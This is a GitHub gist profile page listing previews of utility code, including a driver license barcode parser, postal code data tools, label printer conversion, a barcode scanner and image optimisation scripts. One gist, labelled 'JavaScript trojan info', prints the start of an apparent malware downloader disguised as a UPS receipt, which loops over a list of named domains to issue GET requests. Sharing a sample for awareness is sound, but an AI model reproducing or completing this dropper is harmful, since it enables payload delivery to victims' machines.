Skip to content

Instantly share code, notes, and snippets.

View skylarmt's full-sized avatar

Skylar Ittner skylarmt

View GitHub Profile
@skylarmt
skylarmt / driverlicense.js
Last active November 20, 2025 05:41
Parse the barcode on the back of a North America AAMVA drivers license/ID card and extract basic info. Code originally from PostalPoint Retail Shipping Software, https://postalpoint.app
/*
* Copyright 2024-2025 PostalPortal LLC, Netsyms Technologies LLC. All rights reserved.
* This code file is hereby optionally made available under the MIT license.
*/
export function parseLicenseBarcode(data) {
var fields = getLicenseDataStructure();
if (!data.startsWith("@") || data.substring(4, 9) != "ANSI ") {
throw new Error("Not a valid AAMVA license barcode.");
@skylarmt
skylarmt / zipdbgen.py
Created November 16, 2025 02:16
Convert the USPS ZIP+4 data file from zip-codes.com into a very fast SQLite database.
#!/usr/bin/python3
# Generate a ZIP+4 database from the data at https://www.zip-codes.com/zip-plus-4-database.asp
from argparse import ArgumentParser
import sqlite3, zipfile, re
import pandas as pd
def process(infile, outfile):
print("Reading " + infile)
@skylarmt
skylarmt / README.md
Last active November 1, 2025 17:59
List of Canada postal codes and city name, extracted from the Statistics Canada National Address Register

This is a JSON list of Canadian postal codes and the preferred city name for each.

Extracted from the Statistics Canada National Address Register published July 2025. This means the list should contain every Canadian postal code that actually had at least one street address in it as of July.

Here is a function that returns the province abbreviation using the first 3 characters of a postal code. This saves storage space by not having it in every line of the JSON file.

function getCanadaProvinceFromPostalCode(postalcode) {
@skylarmt
skylarmt / labelprint.js
Last active December 18, 2025 02:41
Node.js code to take an image (via Jimp library) and convert it to label printer commands for ZPL, EPL2, or TSPL
/**
* Get the raw text commands to send to the printer for EPL, TSPL, or ZPL.
* @param {jimp image} image, 300 DPI
* @param {string} printerLang "epl2", "tspl2", or "zpl"
* @param {number} printerDpi 200 or 300, don't use 203
* @param {number} labelWidthMM
* @param {number} labelHeightMM
* @param {number} labelGapMM Gap between labels on roll
* @param {number} labelDensity Print darkness
* @param {number} labelVerticalOffset Adjust the positioning if the top or bottom of the label are cut off or go to the next label
@skylarmt
skylarmt / index.html
Created November 24, 2019 07:11
HTML5 Barcode Scanner with zxingjs
<!DOCTYPE html>
<link rel=stylesheet href="style.css" />
<script src="node_modules/@zxing/library/umd/index.min.js"></script>
<script src="scanner.js"></script>
<div id="web-barcode-ui" class="hidden">
<video id="barcode-viewer"></video>
<div class="text">
Scan a barcode with your camera. Click or tap anywhere to cancel.
@skylarmt
skylarmt / pngcrushall.sh
Created May 8, 2018 18:27
A script to optimize (pngcrush) all the images in a folder, and tell you how much space you've saved.
#!/bin/bash
TOTALIN=0
TOTALSAVED=0
TOTALFILES=0
for png in *.png;
do
echo "Crushing $png"
echo "PNG file $png:" >> /tmp/pngcrush.log
OLDSIZE=$(stat --printf="%s" "$png")
echo " Old size: $OLDSIZE" >> /tmp/pngcrush.log
@skylarmt
skylarmt / UPS-Receipt-06785171.doc.js
Last active June 28, 2017 05:57
JavaScript trojan info
function zulum(pikue) {pikue.send();}
var x = ["resedaplumbing.com","calendar-del.ru","goldwingclub.ru","natiwa.com","www.gloszp.pl"];
var robs = 20-20;
var mumik = new Array('GET','JIJINGER');
var mustafa = x.length;
while(true)
{
if(robs>=mustafa)
{
break;
@skylarmt
skylarmt / material-color.css
Created May 15, 2017 01:30
Additional color classes for Bootstrap 3, based on the Material Design color pallete.
/* Material-Color.css Copyright (c) 2017 Netsyms Technologies MIT License */
/*****************************************************\
PANELS
\*****************************************************/
.panel-red .panel-heading {
background-color: #f44336;
color: white;
}
@skylarmt
skylarmt / collectlicenses.php
Created January 1, 2017 12:19
PHP script to fetch license data from GitHub for your project's dependencies. It outputs to a simple HTML document.
<?php
/*
Set $gits to an array of repository author/name combinations.
Run it with `php collectlicenses.php`.
It saves the generated HTML to licenses.html in the same folder.
*/
$gits = ["twbs/bootstrap", "npm/npm", "FortAwesome/Font-Awesome", "thomaspark/bootswatch", "composer/composer", "catfan/Medoo", "nwjs/nw.js"];